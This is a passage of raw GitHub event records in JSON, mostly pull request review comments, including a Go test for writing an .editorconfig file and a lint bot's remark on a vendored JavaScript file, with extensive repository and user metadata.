Dc6TGljZW5zZTA="},"forks":956,"open_issues":580,"watchers":2764,"default_branch":"dev"}},"_links":{"self":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809"},"html":{"href":"https://github.com/OrchardCMS/OrchardCore/pull/3809"},"issue":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/3809"},"comments":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/3809/comments"},"review_comments":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809/comments"},"review_comment":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/3809/commits"},"statuses":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/f3ec68f36a6afe03f85d36374cf294c69308a697"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 26884725,
"name": "OrchardCMS/OrchardCore",
"url": "https://api.github.com/repos/OrchardCMS/OrchardCore"
}
|
{
"id": 3228637,
"login": "Skrypt",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/3228637?",
"url": "https://api.github.com/users/Skrypt"
}
|
{
"id": 1159247,
"login": "OrchardCMS",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1159247?",
"url": "https://api.github.com/orgs/OrchardCMS"
}
| 2019-06-14T08:52:10 |
9822051274
|
{"actor":{"display_login":"Skrypt"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/comments/339044186","pull_request_review_id":307192561,"id":339044186,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzOTA0NDE4Ng==","diff_hunk":"@@ -95,6 +85,31 @@ func TestGetDefinition(t *testing.T) {\n \tassert.Equal(t, EndOfLineLf, def.EndOfLine)\n }\n \n+func TestWrite(t *testing.T) {\n+\tec, err := ParseFile(testFile)\n+\tif err != nil {\n+\t\tt.Errorf(\"Couldn't parse file: %v\", err)\n+\t}\n+\n+\ttempFile := filepath.Join(os.TempDir(), \".editorconfig\")\n+\tdefer os.Remove(tempFile)\n+\n+\tf, err := os.OpenFile(tempFile, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n+\tassert.Nil(t, err)\n+\tdefer os.Remove(tempFile)\n+\n+\terr = ec.Write(f)\n+\tassert.Nil(t, err)\n+\n+\tf.Close()\n+\n+\tsavedEc, err := ParseFile(tempFile)\n+\tassert.Nil(t, err)\n+\n+\ttestParse(t, savedEc)\n+\tos.Remove(tempFile)","path":"editorconfig_test.go","position":null,"original_position":70,"commit_id":"9b6197bdc6fe131c0fc711659312ee741166e55a","original_commit_id":"2811ab19b2d403c08219b781ba2b328012d972c3","user":{"login":"greut","id":1388,"node_id":"MDQ6VXNlcjEzODg=","avatar_url":"https://avatars2.githubusercontent.com/u/1388?v=4","gravatar_id":"","url":"https://api.github.com/users/greut","html_url":"https://github.com/greut","followers_url":"https://api.github.com/users/greut/followers","following_url":"https://api.github.com/users/greut/following{/other_user}","gists_url":"https://api.github.com/users/greut/gists{/gist_id}","starred_url":"https://api.github.com/users/greut/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/greut/subscriptions","organizations_url":"https://api.github.com/users/greut/orgs","repos_url":"https://api.github.com/users/greut/repos","events_url":"https://api.github.com/users/greut/events{/privacy}","received_events_url":"https://api.github.com/users/greut/received_events","type":"User","site_admin":false},"body":"@andreynering thanks for the review, I've made the changes.","created_at":"2019-10-25T13:11:16Z","updated_at":"2019-10-25T13:11:16Z","html_url":"https://github.com/editorconfig/editorconfig-core-go/pull/37#discussion_r339044186","pull_request_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/comments/339044186"},"html":{"href":"https://github.com/editorconfig/editorconfig-core-go/pull/37#discussion_r339044186"},"pull_request":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37"}},"in_reply_to_id":338859718},"pull_request":{"url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37","id":326083183,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI2MDgzMTgz","html_url":"https://github.com/editorconfig/editorconfig-core-go/pull/37","diff_url":"https://github.com/editorconfig/editorconfig-core-go/pull/37.diff","patch_url":"https://github.com/editorconfig/editorconfig-core-go/pull/37.patch","issue_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/37","number":37,"state":"open","locked":false,"title":"ec: implement Write(io.Writer)","user":{"login":"greut","id":1388,"node_id":"MDQ6VXNlcjEzODg=","avatar_url":"https://avatars2.githubusercontent.com/u/1388?v=4","gravatar_id":"","url":"https://api.github.com/users/greut","html_url":"https://github.com/greut","followers_url":"https://api.github.com/users/greut/followers","following_url":"https://api.github.com/users/greut/following{/other_user}","gists_url":"https://api.github.com/users/greut/gists{/gist_id}","starred_url":"https://api.github.com/users/greut/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/greut/subscriptions","organizations_url":"https://api.github.com/users/greut/orgs","repos_url":"https://api.github.com/users/greut/repos","events_url":"https://api.github.com/users/greut/events{/privacy}","received_events_url":"https://api.github.com/users/greut/received_events","type":"User","site_admin":false},"body":"A follow up to #31, there is a `Write` accepting the `io.Writer` interface.","created_at":"2019-10-09T06:03:20Z","updated_at":"2019-10-25T13:11:16Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5b71c0f25f0db4af80091edf600587a0099e2618","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37/commits","review_comments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37/comments","review_comment_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/comments{/number}","comments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/37/comments","statuses_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/statuses/9b6197bdc6fe131c0fc711659312ee741166e55a","head":{"label":"editorconfig:io-writer","ref":"io-writer","sha":"9b6197bdc6fe131c0fc711659312ee741166e55a","user":{"login":"editorconfig","id":1165674,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNjU2NzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1165674?v=4","gravatar_id":"","url":"https://api.github.com/users/editorconfig","html_url":"https://github.com/editorconfig","followers_url":"https://api.github.com/users/editorconfig/followers","following_url":"https://api.github.com/users/editorconfig/following{/other_user}","gists_url":"https://api.github.com/users/editorconfig/gists{/gist_id}","starred_url":"https://api.github.com/users/editorconfig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/editorconfig/subscriptions","organizations_url":"https://api.github.com/users/editorconfig/orgs","repos_url":"https://api.github.com/users/editorconfig/repos","events_url":"https://api.github.com/users/editorconfig/events{/privacy}","received_events_url":"https://api.github.com/users/editorconfig/received_events","type":"Organization","site_admin":false},"repo":{"id":62604393,"node_id":"MDEwOlJlcG9zaXRvcnk2MjYwNDM5Mw==","name":"editorconfig-core-go","full_name":"editorconfig/editorconfig-core-go","private":false,"owner":{"login":"editorconfig","id":1165674,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNjU2NzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1165674?v=4","gravatar_id":"","url":"https://api.github.com/users/editorconfig","html_url":"https://github.com/editorconfig","followers_url":"https://api.github.com/users/editorconfig/followers","following_url":"https://api.github.com/users/editorconfig/following{/other_user}","gists_url":"https://api.github.com/users/editorconfig/gists{/gist_id}","starred_url":"https://api.github.com/users/editorconfig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/editorconfig/subscriptions","organizations_url":"https://api.github.com/users/editorconfig/orgs","repos_url":"https://api.github.com/users/editorconfig/repos","events_url":"https://api.github.com/users/editorconfig/events{/privacy}","received_events_url":"https://api.github.com/users/editorconfig/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/editorconfig/editorconfig-core-go","description":"EditorConfig Core written in Go","fork":false,"url":"https://api.github.com/repos/editorconfig/editorconfig-core-go","forks_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/forks","keys_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/keys{/key_id}","collaborators_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/teams","hooks_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/hooks","issue_events_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/events{/number}","events_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/events","assignees_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/assignees{/user}","branches_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/branches{/branch}","tags_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/tags","blobs_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/refs{/sha}","trees_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/trees{/sha}","statuses_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/statuses/{sha}","languages_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/languages","stargazers_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/stargazers","contributors_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/contributors","subscribers_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/subscribers","subscription_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/subscription","commits_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/commits{/sha}","git_commits_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/commits{/sha}","comments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/comments{/number}","issue_comment_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/comments{/number}","contents_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/contents/{+path}","compare_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/compare/{base}...{head}","merges_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/merges","archive_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/downloads","issues_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues{/number}","pulls_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls{/number}","milestones_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/milestones{/number}","notifications_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/labels{/name}","releases_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/releases{/id}","deployments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/deployments","created_at":"2016-07-05T03:50:41Z","updated_at":"2019-10-25T09:42:58Z","pushed_at":"2019-10-25T13:09:18Z","git_url":"git://github.com/editorconfig/editorconfig-core-go.git","ssh_url":"git@github.com:editorconfig/editorconfig-core-go.git","clone_url":"https://github.com/editorconfig/editorconfig-core-go.git","svn_url":"https://github.com/editorconfig/editorconfig-core-go","homepage":null,"size":85,"stargazers_count":48,"watchers_count":48,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":16,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":16,"open_issues":5,"watchers":48,"default_branch":"master"}},"base":{"label":"editorconfig:master","ref":"master","sha":"b39220b8ab9744ba5c31933e6008f7c3e2bb12d0","user":{"login":"editorconfig","id":1165674,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNjU2NzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1165674?v=4","gravatar_id":"","url":"https://api.github.com/users/editorconfig","html_url":"https://github.com/editorconfig","followers_url":"https://api.github.com/users/editorconfig/followers","following_url":"https://api.github.com/users/editorconfig/following{/other_user}","gists_url":"https://api.github.com/users/editorconfig/gists{/gist_id}","starred_url":"https://api.github.com/users/editorconfig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/editorconfig/subscriptions","organizations_url":"https://api.github.com/users/editorconfig/orgs","repos_url":"https://api.github.com/users/editorconfig/repos","events_url":"https://api.github.com/users/editorconfig/events{/privacy}","received_events_url":"https://api.github.com/users/editorconfig/received_events","type":"Organization","site_admin":false},"repo":{"id":62604393,"node_id":"MDEwOlJlcG9zaXRvcnk2MjYwNDM5Mw==","name":"editorconfig-core-go","full_name":"editorconfig/editorconfig-core-go","private":false,"owner":{"login":"editorconfig","id":1165674,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNjU2NzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1165674?v=4","gravatar_id":"","url":"https://api.github.com/users/editorconfig","html_url":"https://github.com/editorconfig","followers_url":"https://api.github.com/users/editorconfig/followers","following_url":"https://api.github.com/users/editorconfig/following{/other_user}","gists_url":"https://api.github.com/users/editorconfig/gists{/gist_id}","starred_url":"https://api.github.com/users/editorconfig/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/editorconfig/subscriptions","organizations_url":"https://api.github.com/users/editorconfig/orgs","repos_url":"https://api.github.com/users/editorconfig/repos","events_url":"https://api.github.com/users/editorconfig/events{/privacy}","received_events_url":"https://api.github.com/users/editorconfig/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/editorconfig/editorconfig-core-go","description":"EditorConfig Core written in Go","fork":false,"url":"https://api.github.com/repos/editorconfig/editorconfig-core-go","forks_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/forks","keys_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/keys{/key_id}","collaborators_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/teams","hooks_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/hooks","issue_events_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/events{/number}","events_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/events","assignees_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/assignees{/user}","branches_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/branches{/branch}","tags_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/tags","blobs_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/refs{/sha}","trees_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/trees{/sha}","statuses_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/statuses/{sha}","languages_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/languages","stargazers_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/stargazers","contributors_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/contributors","subscribers_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/subscribers","subscription_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/subscription","commits_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/commits{/sha}","git_commits_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/git/commits{/sha}","comments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/comments{/number}","issue_comment_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/comments{/number}","contents_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/contents/{+path}","compare_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/compare/{base}...{head}","merges_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/merges","archive_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/downloads","issues_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues{/number}","pulls_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls{/number}","milestones_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/milestones{/number}","notifications_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/labels{/name}","releases_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/releases{/id}","deployments_url":"https://api.github.com/repos/editorconfig/editorconfig-core-go/deployments","created_at":"2016-07-05T03:50:41Z","updated_at":"2019-10-25T09:42:58Z","pushed_at":"2019-10-25T13:09:18Z","git_url":"git://github.com/editorconfig/editorconfig-core-go.git","ssh_url":"git@github.com:editorconfig/editorconfig-core-go.git","clone_url":"https://github.com/editorconfig/editorconfig-core-go.git","svn_url":"https://github.com/editorconfig/editorconfig-core-go","homepage":null,"size":85,"stargazers_count":48,"watchers_count":48,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":16,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":16,"open_issues":5,"watchers":48,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37"},"html":{"href":"https://github.com/editorconfig/editorconfig-core-go/pull/37"},"issue":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/37"},"comments":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/issues/37/comments"},"review_comments":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37/comments"},"review_comment":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/pulls/37/commits"},"statuses":{"href":"https://api.github.com/repos/editorconfig/editorconfig-core-go/statuses/9b6197bdc6fe131c0fc711659312ee741166e55a"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 62604393,
"name": "editorconfig/editorconfig-core-go",
"url": "https://api.github.com/repos/editorconfig/editorconfig-core-go"
}
|
{
"id": 1388,
"login": "greut",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1388?",
"url": "https://api.github.com/users/greut"
}
|
{
"id": 1165674,
"login": "editorconfig",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1165674?",
"url": "https://api.github.com/orgs/editorconfig"
}
| 2019-10-25T13:11:16 |
10714243308
|
{"actor":{"display_login":"greut"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/comments/290140633","pull_request_review_id":245248475,"id":290140633,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5MDE0MDYzMw==","diff_hunk":"@@ -0,0 +1,62 @@\n+\"use strict\";\n+\n+Object.defineProperty(exports, \"__esModule\", {","path":"test/dummy/node_modules/caniuse-api/dist/utils.js","position":3,"original_position":3,"commit_id":"06a6c958f63927815aa47fcfcd7351cbd398a30f","original_commit_id":"06a6c958f63927815aa47fcfcd7351cbd398a30f","user":{"login":"houndci-bot","id":6697940,"node_id":"MDQ6VXNlcjY2OTc5NDA=","avatar_url":"https://avatars0.githubusercontent.com/u/6697940?v=4","gravatar_id":"","url":"https://api.github.com/users/houndci-bot","html_url":"https://github.com/houndci-bot","followers_url":"https://api.github.com/users/houndci-bot/followers","following_url":"https://api.github.com/users/houndci-bot/following{/other_user}","gists_url":"https://api.github.com/users/houndci-bot/gists{/gist_id}","starred_url":"https://api.github.com/users/houndci-bot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/houndci-bot/subscriptions","organizations_url":"https://api.github.com/users/houndci-bot/orgs","repos_url":"https://api.github.com/users/houndci-bot/repos","events_url":"https://api.github.com/users/houndci-bot/events{/privacy}","received_events_url":"https://api.github.com/users/houndci-bot/received_events","type":"User","site_admin":false},"body":"'exports' is not defined.","created_at":"2019-06-04T06:18:02Z","updated_at":"2019-06-04T06:18:04Z","html_url":"https://github.com/pasosdeJesus/sivel2_gen/pull/17#discussion_r290140633","pull_request_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/comments/290140633"},"html":{"href":"https://github.com/pasosdeJesus/sivel2_gen/pull/17#discussion_r290140633"},"pull_request":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17"}}},"pull_request":{"url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17","id":284825823,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjg0ODI1ODIz","html_url":"https://github.com/pasosdeJesus/sivel2_gen/pull/17","diff_url":"https://github.com/pasosdeJesus/sivel2_gen/pull/17.diff","patch_url":"https://github.com/pasosdeJesus/sivel2_gen/pull/17.patch","issue_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/17","number":17,"state":"open","locked":false,"title":"Documentacion","user":{"login":"alejocruzrcc","id":12545631,"node_id":"MDQ6VXNlcjEyNTQ1NjMx","avatar_url":"https://avatars2.githubusercontent.com/u/12545631?v=4","gravatar_id":"","url":"https://api.github.com/users/alejocruzrcc","html_url":"https://github.com/alejocruzrcc","followers_url":"https://api.github.com/users/alejocruzrcc/followers","following_url":"https://api.github.com/users/alejocruzrcc/following{/other_user}","gists_url":"https://api.github.com/users/alejocruzrcc/gists{/gist_id}","starred_url":"https://api.github.com/users/alejocruzrcc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alejocruzrcc/subscriptions","organizations_url":"https://api.github.com/users/alejocruzrcc/orgs","repos_url":"https://api.github.com/users/alejocruzrcc/repos","events_url":"https://api.github.com/users/alejocruzrcc/events{/privacy}","received_events_url":"https://api.github.com/users/alejocruzrcc/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-06-04T05:59:25Z","updated_at":"2019-06-04T06:18:04Z","closed_at":null,"merged_at":null,"merge_commit_sha":"0d04ad72ca35392d6db35e67c06cde3878ee96c7","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17/commits","review_comments_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17/comments","review_comment_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/comments{/number}","comments_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/17/comments","statuses_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/statuses/06a6c958f63927815aa47fcfcd7351cbd398a30f","head":{"label":"alejocruzrcc:documentacion","ref":"documentacion","sha":"06a6c958f63927815aa47fcfcd7351cbd398a30f","user":{"login":"alejocruzrcc","id":12545631,"node_id":"MDQ6VXNlcjEyNTQ1NjMx","avatar_url":"https://avatars2.githubusercontent.com/u/12545631?v=4","gravatar_id":"","url":"https://api.github.com/users/alejocruzrcc","html_url":"https://github.com/alejocruzrcc","followers_url":"https://api.github.com/users/alejocruzrcc/followers","following_url":"https://api.github.com/users/alejocruzrcc/following{/other_user}","gists_url":"https://api.github.com/users/alejocruzrcc/gists{/gist_id}","starred_url":"https://api.github.com/users/alejocruzrcc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alejocruzrcc/subscriptions","organizations_url":"https://api.github.com/users/alejocruzrcc/orgs","repos_url":"https://api.github.com/users/alejocruzrcc/repos","events_url":"https://api.github.com/users/alejocruzrcc/events{/privacy}","received_events_url":"https://api.github.com/users/alejocruzrcc/received_events","type":"User","site_admin":false},"repo":{"id":181340665,"node_id":"MDEwOlJlcG9zaXRvcnkxODEzNDA2NjU=","name":"sivel2_gen","full_name":"alejocruzrcc/sivel2_gen","private":false,"owner":{"login":"alejocruzrcc","id":12545631,"node_id":"MDQ6VXNlcjEyNTQ1NjMx","avatar_url":"https://avatars2.githubusercontent.com/u/12545631?v=4","gravatar_id":"","url":"https://api.github.com/users/alejocruzrcc","html_url":"https://github.com/alejocruzrcc","followers_url":"https://api.github.com/users/alejocruzrcc/followers","following_url":"https://api.github.com/users/alejocruzrcc/following{/other_user}","gists_url":"https://api.github.com/users/alejocruzrcc/gists{/gist_id}","starred_url":"https://api.github.com/users/alejocruzrcc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alejocruzrcc/subscriptions","organizations_url":"https://api.github.com/users/alejocruzrcc/orgs","repos_url":"https://api.github.com/users/alejocruzrcc/repos","events_url":"https://api.github.com/users/alejocruzrcc/events{/privacy}","received_events_url":"https://api.github.com/users/alejocruzrcc/received_events","type":"User","site_admin":false},"html_url":"https://github.com/alejocruzrcc/sivel2_gen","description":"Motor genérico de SIVeL 2 (Sistema de Información de Violencia Política en Línea versión 2) ","fork":true,"url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen","forks_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/forks","keys_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/teams","hooks_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/hooks","issue_events_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/issues/events{/number}","events_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/events","assignees_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/assignees{/user}","branches_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/branches{/branch}","tags_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/tags","blobs_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/git/refs{/sha}","trees_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/statuses/{sha}","languages_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/languages","stargazers_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/stargazers","contributors_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/contributors","subscribers_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/subscribers","subscription_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/subscription","commits_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/commits{/sha}","git_commits_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/git/commits{/sha}","comments_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/comments{/number}","issue_comment_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/issues/comments{/number}","contents_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/contents/{+path}","compare_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/merges","archive_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/downloads","issues_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/issues{/number}","pulls_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/pulls{/number}","milestones_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/milestones{/number}","notifications_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/labels{/name}","releases_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/releases{/id}","deployments_url":"https://api.github.com/repos/alejocruzrcc/sivel2_gen/deployments","created_at":"2019-04-14T16:54:40Z","updated_at":"2019-06-04T05:54:43Z","pushed_at":"2019-06-04T05:56:44Z","git_url":"git://github.com/alejocruzrcc/sivel2_gen.git","ssh_url":"git@github.com:alejocruzrcc/sivel2_gen.git","clone_url":"https://github.com/alejocruzrcc/sivel2_gen.git","svn_url":"https://github.com/alejocruzrcc/sivel2_gen","homepage":"http://sivel.sf.net","size":20986,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"pasosdeJesus:master","ref":"master","sha":"d1c98248f0fdc437b6750b1c071a765481d2308c","user":{"login":"pasosdeJesus","id":1190228,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExOTAyMjg=","avatar_url":"https://avatars1.githubusercontent.com/u/1190228?v=4","gravatar_id":"","url":"https://api.github.com/users/pasosdeJesus","html_url":"https://github.com/pasosdeJesus","followers_url":"https://api.github.com/users/pasosdeJesus/followers","following_url":"https://api.github.